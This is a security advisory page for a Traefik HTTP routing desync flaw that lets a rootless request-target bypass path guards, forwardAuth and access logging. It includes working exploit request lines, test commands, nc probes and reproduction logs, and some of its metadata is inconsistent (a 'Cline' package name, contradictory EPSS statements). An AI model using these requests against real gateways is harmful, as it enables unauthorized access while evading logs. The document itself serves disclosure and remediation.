CVE-2026-88009: Traefik: HTTP routing desync enables auth/log bypass

GHSA-f52w-8j3h-j724 HIGH
Published September 10, 2026
CISO Take

Traefik, the reverse proxy commonly deployed in front of Kubernetes-hosted model-serving, RAG, and agent APIs, has an unauthenticated request-target parsing flaw that lets an attacker craft a rootless opaque-form HTTP request (for example "GET http:http://internal-vhost/admin HTTP/1.1") that Traefik routes and logs as a harmless request to "/" while forwarding the attacker's real target byte-for-byte to the backend. This desyncs every path-scoped control sitting in front of an AI service — router path guards, forwardAuth policies, and the encodedCharacters hardening — while simultaneously erasing the malicious request from the access log, so exploitation is both effective and invisible. There is no CISA KEV listing, no public exploit, and no EPSS data yet, but the flaw needs no authentication and no non-default configuration, and it was fully reproduced end-to-end — including a live forwardAuth 403-to-200 authorization bypass — against the GA v3.7.9 image with stock defaults. Upgrade to Traefik v3.7.13 (or v2.11.57 on the 2.x line) immediately; v3.0-v3.6 are end-of-life and will not receive a backport, so any AI gateway still pinned there needs a version bump, not just a config change. Until upgraded, treat any spike of "GET / HTTP/1.1" entries in the access log as a potential indicator of this bypass rather than benign traffic, since that is exactly how a successful attack will appear.

Sources: NVD GitHub Advisory ATLAS

What is the risk?

High risk for any AI deployment using Traefik as ingress or API gateway: the vulnerability is unauthenticated, requires only a single malformed HTTP request, defeats a default-on hardening (sanitizePath) and its opt-in complement (encodedCharacters.allowEncodedSlash=false) simultaneously, and was independently reproduced twice against GA release artifacts with full authorization-bypass evidence. Mitigating factors that lower near-term exploitation likelihood: no CISA KEV listing, no EPSS score, no public exploit or Nuclei template yet (this is a freshly disclosed advisory), and the backend must resolve a rootless request-target as a path to be exploitable — testing across seven backend HTTP stacks found only fasthttp/Fiber and Python's http.server vulnerable to this specific parsing behavior, while nginx, Apache, Go net/http, Node.js and Tomcat correctly reject it with 400. Package risk score is reported as 0/100 and downstream dependents as low (2) in this feed's tracking, but that undercounts Traefik's real footprint since it is a widely deployed Kubernetes ingress controller, not a typical application dependency.

How does the attack unfold?

Entry point
Attacker sends a crafted HTTP/1.x request with a rootless opaque-form request-target (e.g. "GET http:http://internal-vhost/admin HTTP/1.1") to a public Traefik-fronted endpoint, requiring no authentication.
AML.T0049
Routing/authorization desync
Traefik's entry-point pipeline (sanitizePath, muxer, encodedCharacters, forwardAuth) evaluates the request as path "/", bypassing path-scoped router guards and forwardAuth denial policies that would have blocked the real target.
Backend request smuggling
The reverse proxy forwards the attacker's original opaque string verbatim to the backend, which — if it resolves rootless targets as paths (e.g. fasthttp, Fiber, Python http.server) — routes the request to the protected resource or a different virtual host.
Impact and evasion
The attacker reaches an unauthorized admin/model-management endpoint or cross-vhost backend while Traefik's access log records the exchange as a benign "GET / HTTP/1.1", leaving no forensic trace of the bypass.

What systems are affected?

Package Ecosystem Vulnerable Range Patched
Cline go < 2.11.57 2.11.57
67.9K 2 dependents Pushed 7d ago 57% patched ~0d to patch Full package profile →
Cline go >= 3.0.0, < 3.7.13 3.7.13
67.9K 2 dependents Pushed 7d ago 57% patched ~0d to patch Full package profile →

How severe is it?

CVSS 3.1
N/A
EPSS
0.3%
chance of exploitation in 30 days
Higher than 19% of all CVEs
Exploitation Status
No known exploitation
Sophistication
Trivial

What should I do?

1 step
  1. Patch immediately to Traefik v3.7.13 (v3.0-v3.6 are EOL, no backport) or v2.11.57 on the 2.x line. Where an immediate upgrade is not possible, add a WAF/edge rule rejecting request-targets that are not in origin-form (must start with "/") or standard absolute-form for non-CONNECT requests, since the vulnerable pattern is a scheme-prefixed rootless target (e.g. "http:..."). Do not rely solely on encodedCharacters.allowEncodedSlash=false — this advisory demonstrates it does not fire on the opaque form. For detection, alert on any origin request lines containing "http:" immediately after the HTTP method, and treat anomalous concentrations of "GET / HTTP/1.1" in Traefik access logs as suspicious rather than benign, since that is the log signature this bug produces for what may actually be a targeted request elsewhere. If your backend for AI services runs fasthttp, Fiber, or Python's http.server behind Traefik, prioritize patching those services first, since testing showed they are the origins most likely to resolve the rootless target as a real path and complete the bypass.

What does CISA's SSVC say?

Decision Track
Exploitation none
Automatable Yes
Technical Impact partial

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Auth Bypass Data Leakage Inference API Agent AML.T0049

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act
Article 15 - Accuracy, robustness and cybersecurity
ISO 42001
A.6.2 - Security of AI system infrastructure
OWASP LLM Top 10
LLM05 - Supply Chain Vulnerabilities

Frequently Asked Questions

What is CVE-2026-88009?

Traefik, the reverse proxy commonly deployed in front of Kubernetes-hosted model-serving, RAG, and agent APIs, has an unauthenticated request-target parsing flaw that lets an attacker craft a rootless opaque-form HTTP request (for example "GET http:http://internal-vhost/admin HTTP/1.1") that Traefik routes and logs as a harmless request to "/" while forwarding the attacker's real target byte-for-byte to the backend. This desyncs every path-scoped control sitting in front of an AI service — router path guards, forwardAuth policies, and the encodedCharacters hardening — while simultaneously erasing the malicious request from the access log, so exploitation is both effective and invisible. There is no CISA KEV listing, no public exploit, and no EPSS data yet, but the flaw needs no authentication and no non-default configuration, and it was fully reproduced end-to-end — including a live forwardAuth 403-to-200 authorization bypass — against the GA v3.7.9 image with stock defaults. Upgrade to Traefik v3.7.13 (or v2.11.57 on the 2.x line) immediately; v3.0-v3.6 are end-of-life and will not receive a backport, so any AI gateway still pinned there needs a version bump, not just a config change. Until upgraded, treat any spike of "GET / HTTP/1.1" entries in the access log as a potential indicator of this bypass rather than benign traffic, since that is exactly how a successful attack will appear.

Is CVE-2026-88009 actively exploited?

No confirmed active exploitation of CVE-2026-88009 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-88009?

Patch immediately to Traefik v3.7.13 (v3.0-v3.6 are EOL, no backport) or v2.11.57 on the 2.x line. Where an immediate upgrade is not possible, add a WAF/edge rule rejecting request-targets that are not in origin-form (must start with "/") or standard absolute-form for non-CONNECT requests, since the vulnerable pattern is a scheme-prefixed rootless target (e.g. "http:..."). Do not rely solely on encodedCharacters.allowEncodedSlash=false — this advisory demonstrates it does not fire on the opaque form. For detection, alert on any origin request lines containing "http:" immediately after the HTTP method, and treat anomalous concentrations of "GET / HTTP/1.1" in Traefik access logs as suspicious rather than benign, since that is the log signature this bug produces for what may actually be a targeted request elsewhere. If your backend for AI services runs fasthttp, Fiber, or Python's http.server behind Traefik, prioritize patching those services first, since testing showed they are the origins most likely to resolve the rootless target as a real path and complete the bypass.

What systems are affected by CVE-2026-88009?

This vulnerability affects the following AI/ML architecture patterns: model serving, agent frameworks, RAG pipelines, API gateways / ingress for LLM inference.

What is the CVSS score for CVE-2026-88009?

No CVSS score has been assigned yet.

What is the AI security impact?

Affected AI Architectures

model servingagent frameworksRAG pipelinesAPI gateways / ingress for LLM inference

MITRE ATLAS Techniques

AML.T0049 Exploit Public-Facing Application

Compliance Controls Affected

EU AI Act: Article 15
ISO 42001: A.6.2
OWASP LLM Top 10: LLM05

What are the technical details?

Original Advisory

## Summary Traefik accepts an HTTP/1.x request whose request-target is in rootless / opaque form (for example `GET http:http://internal-vhost/admin HTTP/1.1`). Go parses this into `URL.Opaque` with an empty `URL.Path`, so Traefik evaluates all routing, path-sanitization, middleware and access-log decisions against a path that normalizes to `/`, while the proxy forwards the attacker's original target byte-for-byte to the backend. Router path/prefix guards, `forwardAuth` path-scoped policies and the `encodedCharacters` hardening never see the real target, and the access log records every such request as `GET / HTTP/1.1`. Against a backend that resolves a rootless target as a path, this yields cross-vhost routing bypass, path-scoped authorization bypass and access-log evasion — unauthenticated, with stock entrypoint defaults. Traefik v3.0 through v3.6 are end-of-life and are also affected; they will not receive a fix on their own line. Users on those versions must upgrade to v3.7.13. ## Patches - https://github.com/traefik/traefik/releases/tag/v2.11.57 - https://github.com/traefik/traefik/releases/tag/v3.7.13 ## For more information If you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues). <details> <summary>Original Description</summary> ## Summary The scanner claims `rewriteRequestBuilder` (`pkg/proxy/httputil/proxy.go:97`) rebuilds the outbound target from `URL.Path` / `RawPath` / `RawQuery` but never clears `URL.Opaque`, so a client sending a rootless request-target (`GET http:http://internal-vhost/admin HTTP/1.1`) has that byte string written verbatim into the backend request line while Traefik routes, sanitizes, guards and logs an empty path. **The claim is correct in every load-bearing detail, and it reproduces end to end on the GA image `traefik:v3.7` (v3.7.9, go1.26.5) with stock entrypoint defaults.** Three separate consequences were observed on the wire, not inferred: 1. **Cross-vhost routing bypass.** Traefik matched `Host(app.example.com)`, nginx served the `internal-vhost` server block. 2. **Path-scoped authorization bypass.** A `forwardAuth` guard that denies `^/admin` returned `DENY` for `/admin` and `ALLOW` for the opaque form of the same request, which then reached `/admin` on the backend. 3. **Access-log evasion.** All three requests, benign and malicious, were logged identically as `"GET / HTTP/1.1"`. Plus a fourth that is decisive against the usual closure argument: the documented opt-in hardening `encodedCharacters.allowEncodedSlash=false` **rejects** the canonical `/admin%2f..%2fsecret` with `400`, and **does not fire at all** on the opaque form carrying the identical payload. This is not the "the operator left an opt-in permissive" shape that lesson `L-012` and guideline `G-03` teach us to decline. The hardening is enabled and is structurally bypassed. ## Affected code - `pkg/proxy/httputil/proxy.go:97` (`rewriteRequestBuilder`) - `pkg/muxer/http/mux.go:139` (`withRoutingPath`) ## Code analysis ### The sink `pkg/proxy/httputil/proxy.go:87-105` sets Scheme, Host, Path, RawPath, RawQuery on `pr.Out.URL` and clears `pr.Out.RequestURI`. It never touches `pr.Out.URL.Opaque`, which `httputil.ReverseProxy` carried over from the inbound request clone: ```go pr.Out.URL.Scheme = target.Scheme pr.Out.URL.Host = target.Host ... pr.Out.URL.Path = u.Path pr.Out.URL.RawPath = u.RawPath ... pr.Out.RequestURI = "" // Outgoing request should not have RequestURI ``` `net/http`'s `Request.write` then does `ruri := r.URL.RequestURI()`, and `url.URL.RequestURI()` returns `Opaque` in preference to the escaped path whenever `Opaque != ""`. So the wire target is the attacker's string, and every field the proxy carefully set is ignored. ### How Opaque gets populated `net/http`'s `readRequest` (`$GOROOT/src/net/http/request.go:1104-1127`) applies **no origin-form check**: it calls `url.ParseRequestURI(rawurl)` directly, and the only special case is `CONNECT`. `url.parse` returns early with `Opaque = rest` whenever a scheme is present and the remainder does not start with `/`, even for `viaRequest = true`. So `http:http://internal-vhost/admin` parses to `{Scheme: "http", Opaque: "http://internal-vhost/admin", Path: "", Host: ""}`. Note that this string is a syntactically valid `absolute-URI` per RFC 3986 (`path-rootless`, and `:` is a legal `pchar`), so it is a legal `absolute-form` request-target per RFC 9112 §3.2.2 that Traefik is required to accept. The defect is not accepting it, it is **rewriting it into a different URI when forwarding**: Traefik receives a URI with no authority and emits one whose authority is `internal-vhost`, because `RequestURI()` only re-prefixes the scheme when `Opaque` begins with `//`. ### Why the entry-point pipeline does not catch it - `denyFragment` inspects `req.URL.RawPath` → empty → passes. - `normalizePath` returns early when `RawPath == ""` → passes. - `sanitizePath` (`pkg/server/server_entrypoint_tcp.go:849`) does `r2.URL = r2.URL.JoinPath()`. `JoinPath` does `url := *u`, which **copies Opaque**, and `setPath("/")`. It then does `r2.RequestURI = r2.URL.RequestURI()`, which returns the Opaque string. Net effect: `URL.Path` becomes `"/"`, `Opaque` survives untouched, and `RequestURI` is *rewritten to the attacker's authority-bearing form*. - The muxer matches on `URL.Path == "/"`, so any `Host(...)`-only or `PathPrefix(`/`)` router matches. Host matching uses `req.Host`, which is the `Host:` header because `URL.Host` is empty for the opaque form. - `encodedcharacters` (`pkg/middlewares/encodedcharacters/encoded_characters.go:41`) scans `req.URL.EscapedPath()`, which is `"/"`. The denylist can never fire. - `accesslog` (`pkg/middlewares/accesslog/logger.go:244-253`) rebuilds `urlCopy := &url.URL{Path, RawPath, RawQuery, ForceQuery, Fragment}` and **drops Opaque**, so `RequestPath` is logged as `/`. - `forwardauth` (`pkg/middlewares/auth/forward.go:473,499`) sets `X-Forwarded-Uri` from `req.URL.RequestURI()`, so the auth server receives the string `http://internal-vhost/admin`, which matches neither the router's view (`/`) nor any normal path-prefix rule. It fails **open** against a prefix-based policy. ### Scope The experimental fast proxy has the identical defect: `pkg/proxy/fast/proxy.go` does `u2 := *req.URL` (copying Opaque) and `outReq.SetRequestURI(u2.RequestURI())` at line 216. The scanner's location call is accurate for both. Note this pattern is inherited from `net/http/httputil.ReverseProxy`, whose own `NewSingleHostReverseProxy` director also leaves `Opaque` set. Traefik is nevertheless the correct place to fix: it is the component that decides routing and enforces the guards that desync. ## Reproduction (J04, F4) Two independent reproductions were run. All artifacts were removed afterwards (the Go probe file was deleted, all containers and the Docker network were removed; the Traefik working tree is unchanged apart from other jobs' probe files, which were left alone). ### A. In-tree Go test (`pkg/server`, deleted after the run) Entry-point chain assembled in `newHTTPServer` order (`denyFragment` → `normalizePath` → `sanitizePath` → `requestdecorator` → real `httpmuxer` with `Host(app.example.com)` → real `httputil.ProxyBuilder`), fronted by a real `net/http` server, driven over a raw TCP socket. **Command:** ``` go test -run TestScanPocJ04Opaque -v ./pkg/server/ ``` **Observed:** ``` === RUN TestScanPocJ04Opaque/control_origin_form status="200 OK" reachedBackend=true backend.RequestURI="/hello" backend.Host="app.example.com" === RUN TestScanPocJ04Opaque/rootless_opaque_form status="200 OK" reachedBackend=true routed(URL.Path="/" RawPath="" Opaque="http://internal-vhost/admin%2f..%2fsecret" RequestURI="http://internal-vhost/admin%2f..%2fsecret" Host="app.example.com") backend(RequestURI="http://internal-vhost/admin%2f..%2fsecret" Host="internal-vhost" Path="/admin/../secret" RawPath="/admin%2f..%2fsecret") === RUN TestScanPocJ04Opaque/rootless_opaque_form_simple status="200 OK" reachedBackend=true routed(URL.Path="/" RawPath="" Opaque="http://internal-vhost/admin" RequestURI="http://internal-vhost/admin" Host="app.example.com") backend(RequestURI="http://internal-vhost/admin" Host="internal-vhost" Path="/admin" RawPath="") === RUN TestScanPocJ04Opaque/absolute_form status="404 Not Found" reachedBackend=false --- PASS: TestScanPocJ04Opaque (2.01s) ``` **Conclusion:** REPRODUCED. Traefik routes on `Path="/"` and `Host="app.example.com"`; the backend receives `Host="internal-vhost"` and `Path="/admin"`. The `%2f` bytes survive to the backend's `RawPath` untouched. The `absolute_form` control (`GET http://internal-vhost/admin`) correctly **404s**, because there `URL.Host` is populated so `req.Host` becomes `internal-vhost` and the router does not match: it is specifically the **rootless** form, where the authority is invisible to Go's `Request.Host` derivation but visible to the wire writer, that desyncs. ### B. End-to-end on the GA image (`traefik:v3.7` = v3.7.9, go1.26.5) with a real nginx backend Topology: nginx with a `default_server` returning `PUBLIC-VHOST` and a `server_name internal-vhost` block returning `INTERNAL-VHOST-SECRET`; Traefik with a single `Host(app.example.com)` router, entry-point defaults, `--accesslog=true`. Requests sent over a raw socket with `Host: app.example.com`. **B1. Cross-vhost + log evasion (stock defaults):** ``` === request-target sent: '/' PUBLIC-VHOST uri=/ host=app.example.com === request-target sent: 'http:http://internal-vhost/admin' INTERNAL-VHOST-SECRET uri=/admin host=internal-vhost === request-target sent: 'http:http://internal-vhost/admin%2f..%2fsecret' INTERNAL-VHOST-SECRET uri=/admin%2f..%2fsecret host=internal-vhost ``` Traefik access log for those same three requests: ``` "GET / HTTP/1.1" 200 40 ... "app@file" "http://poc-nginx:80" 3ms "GET / HTTP/1.1" 200 53 ... "app@file" "http://poc-nginx:80" 0ms "GET / HTTP/1.1" 200 67 ... "app@file" "http://poc-nginx:80" 0ms ``` **B2. Differential against the documented hardening** (`--entrypoints.web.http.encodedCharacters.allowEncodedSlash=false`, `sanitizePath=true`): ``` === request-target sent: '/admin%2f..%2fsecret' HTTP/1.1 400 Bad Request <- canonical path: protection fires === request-target sent: 'http:http://internal-vhost/admin%2f..%2fsecret' HTTP/1.1 200 OK INTERNAL-VHOST-SECRET uri=/admin%2f..%2fsecret host=internal-vhost <- same payload, protection never fires ``` **B3. ForwardAuth authorization bypass** (middleware `forwardAuth` to an nginx auth service that returns 403 when `X-Forwarded-Uri` matches `^/admin`): ``` === request-target sent: '/admin' -> 403 DENY === request-target sent: 'http:/admin' -> 403 DENY === request-target sent: 'http:http://internal-vhost/admin'-> 200 INTERNAL-VHOST-SECRET uri=/admin host=internal-vhost ``` Auth-service log confirms the decision flip: `403`, `403`, `200`. **Conclusion:** REPRODUCED on a GA release artifact. The primitive is unauthenticated, needs no non-default configuration, and yields cross-vhost selection, path-scoped authorization bypass, and complete access-log evasion simultaneously. ### Documentation grounding Governing page: `docs/content/security/request-path.md` (published as https://doc.traefik.io/traefik/security/request-path/). **Not WAI.** _(truncated ; full analysis in the linked internal report)_ ## Reproduction (J18, F20) Three Go probes were written into `pkg/server/` of the checkout (named `zz_scanpoc_J18*_test.go`) and **deleted afterwards**; `git status` confirms no `zz_scanpoc_J18` file remains and the checkout is still on `v3.7` @ `d5072ce7b8765c9574246072e05dd81d84950da7`. Docker containers were removed at the end of the run. **Probe 1 — routing desync and verbatim forward.** Real entry point chain (`denyFragment` -> `normalizePath` -> `sanitizePath` -> `requestdecorator` -> `httpmuxer.Muxer`), two routers on the same service, real `pkg/proxy/httputil` proxy, raw TCP backend recording the request line, driven over a raw socket. ``` cd /Users/emile/go/src/github.com/traefik/traefik go test -run TestJ18RootlessRequestTarget ./pkg/server/ -v ``` ``` === RUN TestJ18RootlessRequestTarget/GET_http:admin/secret_HTTP/1.1 --> raw request line: "GET http:admin/secret HTTP/1.1" in-Traefik state: URL.Opaque="admin/secret" URL.Path="/" URL.RawPath="" RequestURI="admin/secret" EscapedPath="/" <-- routers matched: [router-app(NO AUTH)] <-- response: "HTTP/1.1 200 OK\r" <-- backend request lines seen so far: ["GET admin/secret HTTP/1.1\r\n"] === RUN TestJ18RootlessRequestTarget/GET_http:admin%2Fsecret_HTTP/1.1 in-Traefik state: URL.Opaque="admin%2Fsecret" URL.Path="/" URL.RawPath="" RequestURI="admin%2Fsecret" EscapedPath="/" <-- routers matched: [router-app(NO AUTH)] <-- backend request lines seen so far: [... "GET admin%2Fsecret HTTP/1.1\r\n"] === RUN TestJ18RootlessRequestTarget/GET_/admin/secret_HTTP/1.1 (control) <-- routers matched: [router-admin(AUTH)] <-- response: "HTTP/1.1 401 Unauthorized\r" PASS ``` The control shows the deployment is correctly guarded for a well-formed request; the rootless form reaches the unguarded router and the backend receives the attacker's bytes, including the `%2F` that an `encodedCharacters` filter would have rejected. **Probe 2 — origin tolerance.** Which origins actually resolve a rootless request-target. ``` go test -run TestJ18BackendTolerance ./pkg/server/ -v # Go net/http + fasthttp v1.69.0 docker run -d --rm -p 18118:80 nginx:alpine ; docker run -d --rm -p 18119:80 httpd:alpine docker run -d --rm -p 18120:3000 node:alpine node -e "require('http').createServer(...)" docker run -d --rm -p 18121:8000 python:alpine python -m http.server 8000 docker run -d --rm -p 18122:8080 tomcat:9.0.120 printf 'GET admin/secret HTTP/1.1\r\nHost: app.example.com\r\nConnection: close\r\n\r\n' | nc -w 3 127.0.0.1 <port> ``` | Origin | `GET admin/secret HTTP/1.1` | `GET /admin/secret HTTP/1.1` (control) | |---|---|---| | Go `net/http` | `HTTP/1.1 400 Bad Request` | 200, `Path="/admin/secret"` | | nginx:alpine | `HTTP/1.1 400 Bad Request` | 404 (resolved) | | httpd:alpine | `HTTP/1.1 400 Bad Request` | 404 (resolved) | | Node.js (llhttp) | `HTTP/1.1 400 Bad Request` | `HTTP/1.1 200 OK` | | Tomcat 9.0.120 | `HTTP/1.1 400` | 404 (resolved) | | Python `http.server` | accepted (404, no 400) | 404 | | **fasthttp v1.69.0** | **`200 OK`, `Path="/admin/secret"`** | 200, `Path="/admin/secret"` | fasthttp also decodes the encoded form: `GET admin%2Fsecret HTTP/1.1` yields `Path="/admin/secret"`, `RequestURI="admin%2Fsecret"`. **Probe 3 — end-to-end authentication bypass.** Same chain as probe 1, with a real `basicAuth`-style gate on the `/admin` router and a `fasthttp` origin serving `ADMIN_PANEL_SECRET` at `/admin/secret`. ``` go test -run TestJ18EndToEndFasthttpOrigin ./pkg/server/ -v ``` ``` "GET /admin/secret HTTP/1.1" => 401 basicAuth required "GET http:admin/secret HTTP/1.1" => Server: fasthttp ... ADMIN_PANEL_SECRET "GET http:admin%2Fsecret HTTP/1.1" => Server: fasthttp ... ADMIN_PANEL_SECRET ``` The bypass is real: the credentialed path returns 401, the malformed path returns the protected content with no credentials. ## Second affected site (J18) The finding is **mechanically correct and fully reproduced end to end**, including the auth bypass. A client-controlled HTTP/1.x request-target of the form `scheme:rootless/path` (for example `GET http:admin/secret HTTP/1.1`) is parsed by Go's `url.ParseRequestURI` into `URL.Opaque = "admin/secret"` with an empty `URL.Path` / `URL.RawPath`. Traefik's entry point chain and muxer never look at `URL.Opaque`: - `denyFragment` inspects `URL.RawPath` (empty) and passes. - `normalizePath` returns early on empty `RawPath`. - `sanitizePath` calls `URL.JoinPath()`, which rewrites `Path` to `"/"` and **leaves `Opaque` untouched**, then sets `RequestURI = URL.RequestURI()` = `"admin/secret"`. - `withRoutingPath` (`pkg/muxer/http/mux.go:139`) derives the routing path from `req.URL.EscapedPath()`, which ignores `Opaque`, so every `Path` / `PathPrefix` / `PathRegexp` matcher evaluates against `"/"`. - Both proxies copy the URL wholesale and never clear `Opaque`, so the outgoing request line is the attacker's target verbatim. Result: Traefik makes its routing and middleware decision on one string (`"/"`) and writes a different string to the backend (`admin/secret`). Where a host-only or `PathPrefix("/")` router reaches the same service as a path-guarded router, the guarded router is skipped, and a lenient origin resolves the rootless target as an absolute path. Where the scanner overstates: it presents the exploit scenario as if the lenient-origin precondition were incidental. It is the whole exposure. Of the seven origin implementations tested, **five reject the rootless target with 400** (Go `net/http`, nginx, Apache httpd, Node.js/llhttp, Tomcat 9). Only `fasthttp` (and the Fiber family built on it) and Python's `http.server` accept it. Notably Tomcat, the backend family that carried the closest prior report (`GHSA-vrvv-46fp-28pp`), answers 400 here. ## Documentation grounding Governing page: `docs/content/security/request-path.md` (published as https://doc.traefik.io/traefik/security/request-path/). **Not WAI.** The page documents the entry-point path pipeline as three stages (encoded-character filtering, path normalization, path sanitization) and presents `sanitizePath: true` as a **default-on hardening the team ships**, with `encodedCharacters.allowEncodedSlash: false` as the opt-in tightening for backends that decode reserved characters. Nothing on this page, nor on `header-underscores.md`, `content-length.md`, `http2-header-memory.md` or `multi-tenant-kubernetes.md`, documents the request-target form, absolute-form / rootless targets, `URL.Opaque`, or an authority carried in the target. Grep for `absolute`, `request-target`, `request line`, `Opaque`, `authority` across `docs/content/security/` returns nothing. This lands squarely in Step 2e's **second** bucket, not the first: a behaviour documented as a default-on protection, with a sibling code path that structurally escapes it. Evidence B2 is the discriminator, and it is exactly the GHSA-cxjq shape (undocumented gap defeating a shipped guard) rather than the GHSA-x9c2 shape (documented behaviour with an opt-in the operator declined to enable). Here the operator *did* enable the opt-in and it still failed. ## Precedent in comparable projects Searched `data/competitors/*.json` on `absolute.form|absolute-form|absolute URI|request.target|request line|authority.form`, then on `smuggl|desync|normaliz`. | Product | ID | Severity | Framing | Fix shape | |---|---|---|---|---| | Caddy | CVE-2026-27587 | HIGH | `MatchPath`'s `%xx` (escaped-path) branch skips case normalization, so the matcher's view of the path diverges from the served one, enabling path-based route/auth bypass. | Normalize in the divergent branch so matcher and handler agree on one interpretation. | | Caddy | CVE-2026-27588 | HIGH | `MatchHost` becomes case-sensitive above 100 hosts, so host matching diverges from the request's real host, enabling host-based route/auth bypass. | Same fix shape: make the fast path agree with the canonical path. | | Envoy | CVE-2021-32779 | high | `#fragment` treated as part of the path element causes the authorization filter and the router to disagree, bypassing authz policy. | Reject or strip the divergent element before routing. | | Envoy | CVE-2021-29492 | high | Escaped-slash characters let requests bypass path matching rules. | Configurable normalization of `%2F` before matching. | | Envoy | CVE-2019-9901 | CRITICAL | Missing HTTP URL path normalization lets the proxy's routing view diverge from the backend's. | Add normalization. | | Envoy | CVE-2023-27491 | medium | Envoy **forwards invalid HTTP/2 and HTTP/3 downstream headers** to the upstream instead of rejecting them. | Reject malformed downstream input at the edge. | | Istio | CVE-2021-39156 | high | Fragments in the path lead to authorization policy bypass. | Normalize before policy evaluation. | | HAProxy | CVE-2023-25725 | CRITICAL | HTTP/1 headers inadvertently lost in some conditions, allowing a bypass of access control. | Restore consistent parsing. | _(truncated ; full analysis in the linked internal report)_ ## Recommended fix **Assign for fix, and treat as CVE-worthy.** 1. Clear the opaque form when rebuilding the outbound URL, in both proxies. In `pkg/proxy/httputil/proxy.go`, next to the Path/RawPath assignments: ```go pr.Out.URL.Opaque = "" ``` and in `pkg/proxy/fast/proxy.go`, on the `u2 := *req.URL` copy before `outReq.SetRequestURI(u2.RequestURI())`. This alone closes the forwarding half. 2. Reject non-origin-form request-targets at the entry point, which is the stronger fix and the one matching the competitor remediation shape (Envoy CVE-2023-27491: reject malformed downstream framing at the edge rather than relaying it). For non-`CONNECT` requests, require `req.URL.Opaque == ""` and an `EscapedPath()` beginning with `/`, or normalize the true `absolute-form` case by promoting the authority into `req.Host`. This makes the router, the path sanitizers, the middlewares, the access log and the backend agree on a single interpretation of the target, which step 1 alone does not achieve: without it, `sanitizePath` still rewrites `RequestURI` to the attacker's authority-bearing form and the access log still records `/`. 3. Add a regression test asserting that a rootless request-target either is rejected at the entry point or reaches the backend as an origin-form target derived from the routed path. The probe used above is a direct starting point. 4. Consider reporting the `ReverseProxy` omission upstream to Go as well, since `NewSingleHostReverseProxy` has the same gap, but do not make the Traefik fix wait on it. 5. If filed as an advisory, use cluster slug `opaque-request-target-forwarding` and note that the fix must land on the fast proxy in the same PR. ## Provenance Found by an external automated code scan (`CLAUDE-SECURITY-20260824-122205`) of `pkg/middlewares`, `pkg/proxy`, `pkg/server`, `pkg/muxer` and `pkg/tls` on branch `v3.7` at commit `d5072ce7b8765c9574246072e05dd81d84950da7`, then triaged with the `advisory-check` process : mechanism-level duplicate check against the existing advisory corpus, CVE-policy gate, security-documentation grounding, comparable-project precedent, and a mandatory reproduction attempt. Triage outcome : **Likely Valid**, confidence High, reproduced (yes). Expected publication likelihood at triage time : High. Scanner finding ids : F4, F20. Internal report : `findings/scan-20260824/verdicts/J04.md, J18.md` in the security-advisor repository. </details> ---

Exploitation Scenario

An attacker targets a company's public LLM inference gateway (Host: api.example.com) fronted by Traefik, which also routes to an internal admin panel (internal-admin) guarded by a forwardAuth middleware denying paths matching ^/admin. The attacker sends a raw HTTP/1.1 request with request-target "http:http://internal-admin/admin/models/delete" and Host header "api.example.com". Traefik's Go HTTP parser stores this in URL.Opaque, leaving URL.Path empty; the sanitizePath and muxer stages evaluate the request as a plain "/" request against the public Host(api.example.com) router — which requires no auth — and it matches. The proxy then forwards the original opaque string verbatim to whichever backend serving fasthttp or a Python simple server accepts it as a path, reaching the internal admin/model-management endpoint and executing a destructive action, while Traefik's access log records the entire exchange as an innocuous "GET / HTTP/1.1" from the public router, leaving no trace that an admin endpoint was touched.

Weaknesses (CWE)

CWE-1286 — Improper Validation of Syntactic Correctness of Input: The product receives input that is expected to be well-formed - i.e., to comply with a certain syntax - but it does not validate or incorrectly validates that the input complies with the syntax.

  • [Implementation] Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylis

Source: MITRE CWE corpus.

Timeline

Published
September 10, 2026
Last Modified
September 10, 2026
First Seen
September 11, 2026

Related Vulnerabilities